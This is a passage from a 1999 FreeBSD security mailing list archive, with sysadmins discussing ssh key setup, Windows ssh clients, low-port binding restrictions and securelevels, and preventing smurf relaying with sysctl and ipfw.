ssh-keygen and made the default files, then added identity.pub to the authorized_keys file. Obviously more needs to be done, because when i try connecting i get Permission denied, using the same passphrase given when using ssh-keygen. What have i missed? Regards Jacob Rhoden ____________________________________________________________ "They said it would never come, They lied..." System Administrator/Web Developer/Programmer Jacob Rhoden - jj@cybernex.net.au jj.dominoid.dhs.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 4: 4:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from alice.gba.oz.au (gba-254.tmx.com.au [203.9.155.254]) by hub.freebsd.org (Postfix) with SMTP id 6477714F7D for ; Wed, 23 Jun 1999 04:04:17 -0700 (PDT) (envelope-from gjb@acm.org) Received: (qmail 24561 invoked by uid 1001); 23 Jun 1999 13:14:56 +1000 Message-ID: <19990623031456.24560.qmail@alice.gba.oz.au> X-Posted-By: GBA-Post 1.03 20-Sep-1998 X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 Date: Wed, 23 Jun 1999 13:14:55 +1000 From: Greg Black MBOX-Line: From Greg Black To: Andrew McNaughton Cc: Dag-Erling Smorgrav , Michael Richards <026809r@dragon.acadiau.ca>, freebsd-security@FreeBSD.ORG Subject: Re: Allowing non root users to bind low ports References: <199906221758.FAA07268@aniwa.sky> In-reply-to: <199906221758.FAA07268@aniwa.sky> of Wed, 23 Jun 1999 05:58:36 +1200 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > I was giving this concept a little thought. If I'm not root and I can bind > > > a low port, let's say the telnet port. I could write myself a fake telnet > > > daemon and run it. Sooner or later, someone is going to try using it... > > > This whole thing about non-root users binding to low ports would only be > > > useful if there are no shell accounts on a machine IMO. > > > > Well, duh. That's why we want to turn this off before going multiuser > > (but after starting stuff like sendmail etc.) > > That approach is of limited use unless you're prepared to reboot your machine > every time you want to change your sendmail configuration. If you're serious about security, then this is the sort of trade-off you have to make. > Sounds too much like Windows for my liking. Nothing short of reconfiguring > the kernel or a make world should require a reboot. A normal production box probably won't change configuration in between OS upgrades anyway, so this is not such a hardship as it might seem. Boxes where experimental configurations are being changed all the time will not run with elevated secure levels and won't be inconvenienced. -- Greg Black -- or Fight censorship in Australia: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 7:23:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 2AED014F3E for ; Wed, 23 Jun 1999 07:23:10 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.1) id QAA19955; Wed, 23 Jun 1999 16:22:50 +0200 (CEST) (envelope-from des) To: jj@cybernex.net.au Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh - beginners web site References: Your message of "Wed, 23 Jun 1999 12:39:24 +1000" <199906230236.MAA23311@cybernex.net.au> <199906231040.UAA29682@cybernex.net.au> From: Dag-Erling Smorgrav Date: 23 Jun 1999 16:22:49 +0200 In-Reply-To: "Jacob Rhoden"'s message of "Wed, 23 Jun 1999 20:42:59 +1000" Message-ID: Lines: 13 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Jacob Rhoden" writes: > I plan to use RSA for authentication, i have installed and setup ssh, > used ssh-keygen and made the default files, then added > identity.pub to the authorized_keys file. Obviously more needs to > be done, because when i try connecting i get Permission denied, > using the same passphrase given when using ssh-keygen. What > have i missed? Use 'ssh -v' and read the error messages. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 8:22:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from rapidnet.com (rapidnet.com [205.164.216.1]) by hub.freebsd.org (Postfix) with ESMTP id 25314152E3 for ; Wed, 23 Jun 1999 08:22:27 -0700 (PDT) (envelope-from nick@rapidnet.com) Received: from localhost (nick@localhost) by rapidnet.com (8.9.3/8.9.3) with ESMTP id JAA21786; Wed, 23 Jun 1999 09:22:23 -0600 (MDT) Date: Wed, 23 Jun 1999 09:22:23 -0600 (MDT) From: Nick Rogness To: "N.N.M" Cc: petef@netreach.net, security@freebsd.org Subject: Re: Question: Preventing Smurf In-Reply-To: <19990623065111.95383.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 22 Jun 1999, N.N.M wrote: > > Not just pingable, it's better to say : I can be a smurf relay if my hosts > are broadcast-pingable. Agree? Am I right? yes. > > Nazila M. > > > >From: Pete Fritchman > >To: Nick Rogness > >CC: security@freebsd.org > >Subject: Re: Question: Preventing Smurf > >Date: Tue, 22 Jun 1999 13:10:31 -0400 (EDT) > >MIME-Version: 1.0 > >From owner-freebsd-security@freebsd.org Tue Jun 22 10:08:03 1999 > >Received: by hub.freebsd.org (Postfix, from userid 538)id CB9021533F; Tue, > >22 Jun 1999 10:07:53 -0700 (PDT) > >Received: from localhost (localhost [127.0.0.1])by hub.freebsd.org > >(Postfix) with SMTPid B056B1CD66E; Tue, 22 Jun 1999 10:07:53 -0700 > >(PDT)(envelope-from owner-freebsd-security) > >Received: by hub.freebsd.org (bulk_mailer v1.12); Tue, 22 Jun 1999 10:07:53 > >-0700 > >Delivered-To: freebsd-security@freebsd.org > >Received: from fantasy.netreach.net (fantasy.netreach.net > >[205.197.101.219])by hub.freebsd.org (Postfix) with ESMTP id 39F951515Afor > >; Tue, 22 Jun 1999 10:07:48 -0700 (PDT)(envelope-from > >petef@netreach.net) > >Received: from borneo (borneo.netreach.net [205.197.101.111])by > >fantasy.netreach.net (8.9.3/8.9.0) with SMTP id NAA19421;Tue, 22 Jun 1999 > >13:08:47 -0400 (EDT) > >X-Sender: petef@borneo > >In-Reply-To: > >Message-ID: > >Sender: owner-freebsd-security@FreeBSD.ORG > >X-Loop: FreeBSD.org > >Precedence: bulk > > > >so let me get this straight... > > > >if your gateway is ping'able you *CAN* be a smurf relay? > > > >--------------------------------------------- > >Pete Fritchman petef@netreach.net > >Netreach www.netreach.net > >System Administrator > > > >On Tue, 22 Jun 1999, Nick Rogness wrote: > > > > > On Tue, 22 Jun 1999, N.N.M wrote: > > > > > > > Thanks for your reply. That is the point: I disable > >net.inet.icmp.bmcastecho > > > > (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use > >broadcast > > > > ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same > >Ethernet, > > > > the first machine which is not supposed to reply to the ping, will > >reply! So > > > > I thought I might need another thing to disable that or maybe using > > > > broadcast ping on the same Ethernet isn't a good way to test it or > >...... > > > > Any idea? > > > > > > > > > # Deny icmp packets from hitting broadcast > > > ipfw add 3000 deny log icmp from any to x.x.11.255/32 in via de0 > > > > > > > > > > > > > > Nazila M. > > > > > > > > > > > > >From: mwlucas@exceptionet.com > > > > >To: madrapour@hotmail.com (N.N.M) > > > > >CC: freebsd-security@FreeBSD.ORG > > > > >Subject: Re: Question: Preventing Smurf > > > > >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) > > > > >MIME-Version: 1.0 > > > > >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 > > > > >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id > > > > >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) > > > > >Message-Id: <199906221106.HAA02940@easeway.com> > > > > >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at > >"Jun > > > > >22, 99 00:39:43 am" > > > > >X-Mailer: ELM [version 2.4ME+ PL32 (25)] > > > > > > > > > >To test if it works, ping your subnet's broadcast address (i.e., > > > > >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will > >give > > > > >it to you. > > > > > > > > > >The machine won't respond to a broadcast ping. This will prevent you > >from > > > > >being a smurf relay. > > > > > > > > > >A more effective method would be to block broadcast pings at the > >router to > > > > >your network. Check your router's documentation or mfg. web site for > > > > >exact instructions. > > > > > > > > > >Regards, > > > > >==ml > > > > > > > > > > > > > > > > > > > > > > Hi, > > > > > > > > > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to > >prevent > > > > >being > > > > > > Smurf Intermediary? And if so, how can I check it to get sure if > >it is > > > > >ok? > > > > > > I did the above change, but my freebsd box still responses to ping > >(from > > > > >a > > > > > > pc on the same Ehternet) to broadcast address. Is it normal? > > > > > > > > > > > > thanks, > > > > > > Nazila M. > > > > > > > > > > > > > > > > > > ______________________________________________________ > > > > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > > > > > > > > > > > >-- > > > > >Michael Lucas | > > > > >Exceptionet, Inc. | www.exceptionet.com > > > > >"Exceptional Networking" | > > > > > > > > > > > > > > > > > ______________________________________________________ > > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > ******************************************************************* > > > Nick Rogness "Never settle with words what > > > System Administrator can be accomplished with a > > > RapidNet, INC flame-thrower" > > > nick@rapidnet.com > > > ******************************************************************* > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-security" in the body of the message > > > > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > ******************************************************************* Nick Rogness "Never settle with words what System Administrator can be accomplished with a RapidNet, INC flame-thrower" nick@rapidnet.com ******************************************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 12:36:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta1-rme.xtra.co.nz (unknown [203.96.92.1]) by hub.freebsd.org (Postfix) with ESMTP id 10EA1150B6 for ; Wed, 23 Jun 1999 12:36:23 -0700 (PDT) (envelope-from junkmale@pop3.xtra.co.nz) Received: from wocker ([210.55.152.41]) by mta1-rme.xtra.co.nz (InterMail v04.00.02.07 201-227-108) with SMTP id <19990623193929.GJUZ784493.mta1-rme@wocker> for ; Thu, 24 Jun 1999 07:39:29 +1200 From: "Dan Langille" Organization: The FreeBSD Diary To: security@freebsd.org Date: Thu, 24 Jun 1999 07:36:21 +1200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: ssh from windows Reply-To: junkmale@xtra.co.nz X-mailer: Pegasus Mail for Win32 (v3.01d) Message-Id: <19990623193929.GJUZ784493.mta1-rme@wocker> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have sshd running on my box. I'm trying to use Tera Term to connect from my Windows NT box. At login time, I have three options: 1 - plain password Do they mean clear text? 2 - RSA Key How do I create an RSA for use on this windows client? 3 - rhosts This file contains details of each host I've logged into. How is this information generated? -- Dan Langille - DVL Software Limited The FreeBSD Diary - http://www.FreeBSDDiary.org/freebsd/ NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ The Racing System - http://www.racingsystem.com/racingsystem.htm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 13:46: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 7BBD014E06 for ; Wed, 23 Jun 1999 13:45:55 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.1/frmug-2.3/nospam) with UUCP id WAA20153 for security@freebsd.org; Wed, 23 Jun 1999 22:45:50 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id A97BF8836; Wed, 23 Jun 1999 21:57:32 +0200 (CEST) (envelope-from roberto) Date: Wed, 23 Jun 1999 21:57:32 +0200 From: Ollivier Robert To: security@freebsd.org Subject: Re: Question: Preventing Smurf Message-ID: <19990623215732.A98339@keltia.freenix.fr> Mail-Followup-To: security@freebsd.org References: <19990623065111.95383.qmail@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.95.5i In-Reply-To: ; from Nick Rogness on Wed, Jun 23, 1999 at 09:22:23AM -0600 X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5423 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to Nick Rogness: > yes. Could you people *PLEASE* trim down the quotes when replying ?? Sheesh. [ 170 bloody lines of quoted material cut ] -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #71: Sun May 9 20:16:32 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 13:46:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from tasam.com (tasam.com [206.161.83.22]) by hub.freebsd.org (Postfix) with ESMTP id 6198E14E06 for ; Wed, 23 Jun 1999 13:46:27 -0700 (PDT) (envelope-from freebsd.list@bug.tasam.com) Received: from bug (209-122-199-66.s320.tnt4.lnh.md.dialup.rcn.com [209.122.199.66]) by tasam.com (8.9.3/8.9.1) with SMTP id QAA27961; Wed, 23 Jun 1999 16:46:15 -0400 (EDT) Message-ID: <009701bebdb9$6d574d70$0286860a@tasam.com> From: "Joe Gleason" To: , References: <19990623193929.GJUZ784493.mta1-rme@wocker> Subject: Re: ssh from windows Date: Wed, 23 Jun 1999 16:46:06 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm not sure how it works with your ssh client, but with mine (SecureCRT) for all ssh connections, I have the option of password or RSA key for connections. When I select password, it may or may not encrypt the password when it stores it localy, but does encrypt it when sending over the net. If you want to be sure, connect using the password option, and then use netstat to see which port it is connecting to. If it connects to port 22, I am willing to bet it is encrypted. I haven't read up on the ssh protocol so I won't say it for fact. Generating an RSA key should be a function of your ssh client software. Maybe there is a way to create it on a unix box and move it, but I have never tried that. I also have no idea about rhosts. I just disable all the r* services on all unix systems I setup. Joe Gleason Tasam ----- Original Message ----- From: Dan Langille To: Sent: Wednesday, June 23, 1999 15:36 Subject: ssh from windows > I have sshd running on my box. I'm trying to use Tera Term to connect > from my Windows NT box. At login time, I have three options: > > 1 - plain password > > Do they mean clear text? > > 2 - RSA Key > > How do I create an RSA for use on this windows client? > > 3 - rhosts > > This file contains details of each host I've logged into. How is this > information generated? > -- > Dan Langille - DVL Software Limited > The FreeBSD Diary - http://www.FreeBSDDiary.org/freebsd/ > NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ > The Racing System - http://www.racingsystem.com/racingsystem.htm > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 14: 5:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta2-rme.xtra.co.nz (unknown [203.96.92.3]) by hub.freebsd.org (Postfix) with ESMTP id F207214E9C for ; Wed, 23 Jun 1999 14:05:34 -0700 (PDT) (envelope-from sdynamic@xtra.co.nz) Received: from sdk6 ([210.55.244.18]) by mta2-rme.xtra.co.nz (InterMail v04.00.02.07 201-227-108) with SMTP id <19990623210809.HCCS688839.mta2-rme@sdk6>; Thu, 24 Jun 1999 09:08:09 +1200 Message-ID: <009d01bebdbb$c6c4c1b0$061ea8c0@sdk6.sd.co.nz> From: "Michael Williams" To: Cc: Subject: Re: ssh from windows Date: Thu, 24 Jun 1999 09:02:59 +1200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Dan, The plain password means use the local system account passwords from the server where sshd is running and is sent encrypted. On the server you could use skey for stronger passwords or even the tis-auth server for other options. So my interpretation is no clear text passwords are sent. I thought the key was generated by ssh-keygen on the server and then you copy it to the client and set ttsh up to use it. As to rhosts, I would not consider that very secure and do not use it. I use ipfw rules with no ip forwarding and have had good success with ssh, sshd on FreeBSD. Using port forwarding from the ttsh client on Windows 95 or NT client also works very well :) Michael Williams Software Dynamics mailto:sdynamic@xtra.co.nz http://www.voyager.co.nz/~michaelw ph: 025 995914 ph: +64 9 2744876 -----Original Message----- From: Dan Langille To: security@freebsd.org Date: Thursday, June 24, 1999 7:43 AM Subject: ssh from windows I have sshd running on my box. I'm trying to use Tera Term to connect from my Windows NT box. At login time, I have three options: 1 - plain password Do they mean clear text? 2 - RSA Key How do I create an RSA for use on this windows client? 3 - rhosts This file contains details of each host I've logged into. How is this information generated? -- Dan Langille - DVL Software Limited The FreeBSD Diary - http://www.FreeBSDDiary.org/freebsd/ NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ The Racing System - http://www.racingsystem.com/racingsystem.htm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 14:35:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from phoenix (phoenix.aye.net [206.185.8.134]) by hub.freebsd.org (Postfix) with SMTP id 9886014F8A for ; Wed, 23 Jun 1999 14:35:41 -0700 (PDT) (envelope-from barrett@phoenix.aye.net) Received: (qmail 27294 invoked by uid 1000); 23 Jun 1999 21:34:18 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 23 Jun 1999 21:34:18 -0000 Date: Wed, 23 Jun 1999 17:34:18 -0400 (EDT) From: Barrett Richardson To: Dan Langille Cc: security@freebsd.org Subject: Re: ssh from windows In-Reply-To: <19990623193929.GJUZ784493.mta1-rme@wocker> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Are you using the freeware Tera Term telnet app with the dos exe wrapper plus windows DLL to provide the ssh functionality? On Thu, 24 Jun 1999, Dan Langille wrote: > I have sshd running on my box. I'm trying to use Tera Term to connect > from my Windows NT box. At login time, I have three options: > > 1 - plain password > > Do they mean clear text? The password you enter is the password for your account. > > 2 - RSA Key > > How do I create an RSA for use on this windows client? > If you are using the setup I mentioned at the top, you'll have to generate a key elsewhere because it doesn't have the functionality. On your unix box run ssh-keygen. It should leave a identity and identity.pub in ~/.ssh. Copy those to the installation directory for the Tera Term software. > 3 - rhosts > > This file contains details of each host I've logged into. How is this > information generated? When you get to the point where you can do RSA authentication with your server, the server will send it's public key. If you choose to accept the key, it is added to this file - Barrett Richardson barrett@phoenix.aye.net > -- > Dan Langille - DVL Software Limited > The FreeBSD Diary - http://www.FreeBSDDiary.org/freebsd/ > NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ > The Racing System - http://www.racingsystem.com/racingsystem.htm > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 19: 8:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 5620014EDA for ; Wed, 23 Jun 1999 19:08:25 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id TAA17079; Wed, 23 Jun 1999 19:07:37 -0700 (PDT) Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id TAA01944; Wed, 23 Jun 1999 19:07:37 -0700 Received: from softweyr.com (dyn2.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA26232; Wed, 23 Jun 99 19:07:34 PDT Message-Id: <377192E6.2EB82B02@softweyr.com> Date: Wed, 23 Jun 1999 20:07:34 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: jj@cybernex.net.au Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh web site..sorry fixed References: <199906230236.MAA23311@cybernex.net.au> <199906231054.UAA29847@cybernex.net.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jacob Rhoden wrote: > > i misread the man pages, i was puting the filename of the key, not > the actual key in the "autorized_keys" file. I setup ssh by following the instructions mailed to me when I became a FreeBSD committer. I've included the instructions here. As you can see, they are exhaustive. ;^) 7.0. SSH quick-start guide -------------------------- 1. Update and install the ssh port in /usr/ports/security/ssh (should be version 1.2.25 or later). 2. Make sure that you run ssh-agent before running other applications. X users, for example, usually do this from their .xsession file. See ssh-agent(1) for details. 3. Generate a key pair using ssh-genkey(1). The key pair will wind up in the $HOME/.ssh directory. 4. Copy your public key ($HOME/.ssh/identity.pub) into your ``authorized_keys'' file in your home directory on the freefall (i.e. $HOME/.ssh/authorized_keys). 5. Now you should be able to use ssh-add(1) for authentication once per session. This will prompt you for your private key's pass phrase, and then store it in your authentication agent (ssh-agent) so that you won't have to retype it over and over. 6. Test by doing something such as ``ssh freefall.freebsd.org ls /usr''. For more information, see /usr/ports/security/ssh and ssh(1), ssh-agent(1), scp(1) and ssh-keygen(1). -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 0:44:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta2-rme.xtra.co.nz (unknown [203.96.92.3]) by hub.freebsd.org (Postfix) with ESMTP id 8AFA714EE7 for ; Thu, 24 Jun 1999 00:44:40 -0700 (PDT) (envelope-from junkmale@pop3.xtra.co.nz) Received: from wocker ([210.55.152.41]) by mta2-rme.xtra.co.nz (InterMail v04.00.02.07 201-227-108) with SMTP id <19990624074719.OAVT688839.mta2-rme@wocker>; Thu, 24 Jun 1999 19:47:19 +1200 From: "Dan Langille" Organization: The FreeBSD Diary To: Barrett Richardson Date: Thu, 24 Jun 1999 19:44:39 +1200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: ssh from windows Reply-To: junkmale@xtra.co.nz Cc: security@freebsd.org References: <19990623193929.GJUZ784493.mta1-rme@wocker> In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.01d) Message-Id: <19990624074719.OAVT688839.mta2-rme@wocker> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 23 Jun 99, at 17:34, Barrett Richardson wrote: > Are you using the freeware Tera Term telnet app with the dos exe wrapper > plus windows DLL to provide the ssh functionality? There is the windows DLL for the ssh functionality. I don't know anything about a DOS exe wrapper. > On Thu, 24 Jun 1999, Dan Langille wrote: > > > I have sshd running on my box. I'm trying to use Tera Term to connect > > from my Windows NT box. At login time, I have three options: > > > > 1 - plain password > > > > Do they mean clear text? > > The password you enter is the password for your account. Granted. I was worried they were transmitting the password in clear text. -- Dan Langille - DVL Software Limited The FreeBSD Diary - http://www.FreeBSDDiary.org/freebsd/ NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ The Racing System - http://www.racingsystem.com/racingsystem.htm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 0:45:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 6040F14EE7 for ; Thu, 24 Jun 1999 00:44:59 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.1) id JAA43591; Thu, 24 Jun 1999 09:44:34 +0200 (CEST) (envelope-from des) To: Wes Peters Cc: jj@cybernex.net.au, freebsd-security@FreeBSD.ORG Subject: Re: ssh web site..sorry fixed References: <199906230236.MAA23311@cybernex.net.au> <199906231054.UAA29847@cybernex.net.au> <377192E6.2EB82B02@softweyr.com> From: Dag-Erling Smorgrav Date: 24 Jun 1999 09:44:33 +0200 In-Reply-To: Wes Peters's message of "Wed, 23 Jun 1999 20:07:34 -0600" Message-ID: Lines: 25 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wes Peters writes: > 2. Make sure that you run ssh-agent before running other > applications. X users, for example, usually do this from their > .xsession file. See ssh-agent(1) for details. A good way of achieving this is to put the following in your .xsession: echo ' # Prompt for passphrase ssh-add ; Thu, 24 Jun 1999 03:15:17 -0700 (PDT) (envelope-from andyo@prime.net.ua) Received: from prime.net.ua (localhost [127.0.0.1]) by volodya.prime.net.ua (8.9.3/8.8.8) with ESMTP id NAA05822; Thu, 24 Jun 1999 13:24:05 +0300 (EEST) (envelope-from andyo@prime.net.ua) Message-ID: <3772073C.2D3E6FE0@prime.net.ua> Date: Thu, 24 Jun 1999 13:23:57 +0300 From: "Andy V. Oleynik" Organization: M-Info X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.2-STABLE i386) X-Accept-Language: ru, en MIME-Version: 1.0 To: jj@cybernex.net.au Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh - beginners web site References: Your message of "Wed, 23 Jun 1999 12:39:24 +1000" <199906230236.MAA23311@cybernex.net.au> <199906231040.UAA29682@cybernex.net.au> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dag-Erling Smorgrav wrote: > "Jacob Rhoden" writes: > > I plan to use RSA for authentication, i have installed and setup ssh, > > used ssh-keygen and made the default files, then added > > identity.pub to the authorized_keys file. Obviously more needs to > > be done, because when i try connecting i get Permission denied, > > using the same passphrase given when using ssh-keygen. What > > have i missed? > Did U added ur identity.pub from one host (U ssh from) to authorized_keys on another (U ssh to)? > > Use 'ssh -v' and read the error messages. > > DES > -- > Dag-Erling Smorgrav - des@flood.ping.uio.no > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- WBW Andy V. Oleynik (When U work in virtual office U have good chance to obtain virtual money ö%-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 6:57:58 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.sminter.com.ar (ns1.sminter.com.ar [200.10.100.10]) by hub.freebsd.org (Postfix) with ESMTP id 1EA3714D25 for ; Thu, 24 Jun 1999 06:57:53 -0700 (PDT) (envelope-from fpscha@ns1.sminter.com.ar) Received: (from fpscha@localhost) by ns1.sminter.com.ar (8.8.5/8.8.4) id KAA18059; Thu, 24 Jun 1999 10:57:44 -0300 (GMT) Message-Id: <199906241357.KAA18059@ns1.sminter.com.ar> Subject: Re: proposed secure-level 4 patch In-Reply-To: <19990622222055.J2436@lucky.net> from Valentin Nechayev at "Jun 22, 99 10:20:55 pm" To: netch@carrier.kiev.ua (Valentin Nechayev) Date: Thu, 24 Jun 1999 10:57:44 -0300 (GMT) Cc: freebsd-security@FreeBSD.ORG From: Fernando Schapachnik X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org En un mensaje anterior, Valentin Nechayev escribió: [...] > -> Deny all except uid 65530 to bind ports 3128-3130 on bind() with > specified port number. Deny all (uid 65530 also) to bind these ports > implicitly (means: without explicit bind, as first free port number). > One can ask "why"? Because squid can die, and I don't want situation when > a bad user catches one of these ports and prevents squid from restarting. > -> Allow port 25 to be bound by uid 25 (postfix or sendmail, as you wish). > -> Deny implicit binding to ports 6000-6099 for any 